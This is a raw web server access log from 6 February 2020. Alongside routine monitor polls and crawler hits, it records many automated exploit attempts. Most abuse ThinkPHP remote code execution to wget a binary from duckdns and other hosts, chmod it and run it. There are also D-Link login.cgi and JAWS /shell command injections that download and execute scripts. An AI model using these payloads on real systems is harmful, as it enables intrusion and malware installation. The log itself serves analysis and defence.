194.143.250.38 - - [06/Feb/2020:14:21:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:14:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.142.249.93 - - [06/Feb/2020:14:22:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.115.198.2 - - [06/Feb/2020:14:26:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
113.14.133.148 - - [06/Feb/2020:14:26:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.158.36.222 - - [06/Feb/2020:14:27:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.100.237 - - [06/Feb/2020:14:32:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.115.198.2 - - [06/Feb/2020:14:34:04 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.118.47.189 - - [06/Feb/2020:14:34:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
208.115.198.2 - - [06/Feb/2020:14:34:20 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [06/Feb/2020:14:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.115.198.2 - - [06/Feb/2020:14:34:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
208.115.198.2 - - [06/Feb/2020:14:34:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
208.115.198.2 - - [06/Feb/2020:14:34:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
208.115.198.2 - - [06/Feb/2020:14:34:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
208.115.198.2 - - [06/Feb/2020:14:35:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [06/Feb/2020:14:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.39 - - [06/Feb/2020:14:37:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [06/Feb/2020:14:38:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.43.83 - - [06/Feb/2020:14:39:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.15.213 - - [06/Feb/2020:14:39:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.78.2.196 - - [06/Feb/2020:14:40:59 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
208.115.198.2 - - [06/Feb/2020:14:41:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [06/Feb/2020:14:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.115.198.2 - - [06/Feb/2020:14:42:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [06/Feb/2020:14:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.139.198.158 - - [06/Feb/2020:14:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
39.108.70.175 - - [06/Feb/2020:14:42:48 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.108.70.175 - - [06/Feb/2020:14:42:50 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.80.131.123 - - [06/Feb/2020:14:42:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.108.70.175 - - [06/Feb/2020:14:42:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
187.7.238.112 - - [06/Feb/2020:14:43:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.79.192.54 - - [06/Feb/2020:14:43:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:14:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.154.2 - - [06/Feb/2020:14:43:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.73.36 - - [06/Feb/2020:14:47:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.205.15 - - [06/Feb/2020:14:48:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.235.93.124 - - [06/Feb/2020:14:49:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [06/Feb/2020:14:50:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [06/Feb/2020:14:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.122.117.13 - - [06/Feb/2020:14:53:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:14:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.232.66.127 - - [06/Feb/2020:14:53:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.97.152 - - [06/Feb/2020:14:54:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.101.139.39 - - [06/Feb/2020:15:00:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:15:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.231.93 - - [06/Feb/2020:15:00:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.164.103.78 - - [06/Feb/2020:15:08:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
79.101.58.62 - - [06/Feb/2020:15:08:19 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [06/Feb/2020:15:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.163.255.19 - - [06/Feb/2020:15:09:00 +0100] "GET /robots.txt HTTP/1.0" 404 327 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
95.163.255.12 - - [06/Feb/2020:15:09:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
212.91.246.72 - - [06/Feb/2020:15:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.159.159.35 - - [06/Feb/2020:15:10:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.89.158.42 - - [06/Feb/2020:15:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:15:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [06/Feb/2020:15:11:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.43.244 - - [06/Feb/2020:15:11:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.27.170.68 - - [06/Feb/2020:15:12:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.110.133 - - [06/Feb/2020:15:14:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.231.93 - - [06/Feb/2020:15:20:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.149.92 - - [06/Feb/2020:15:25:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.75.154 - - [06/Feb/2020:15:25:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.51.70 - - [06/Feb/2020:15:27:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.41.196 - - [06/Feb/2020:15:28:59 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [06/Feb/2020:15:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:15:31:20 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:15:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.65 - - [06/Feb/2020:15:33:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.200.4.142 - - [06/Feb/2020:15:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:15:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.167.232 - - [06/Feb/2020:15:35:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
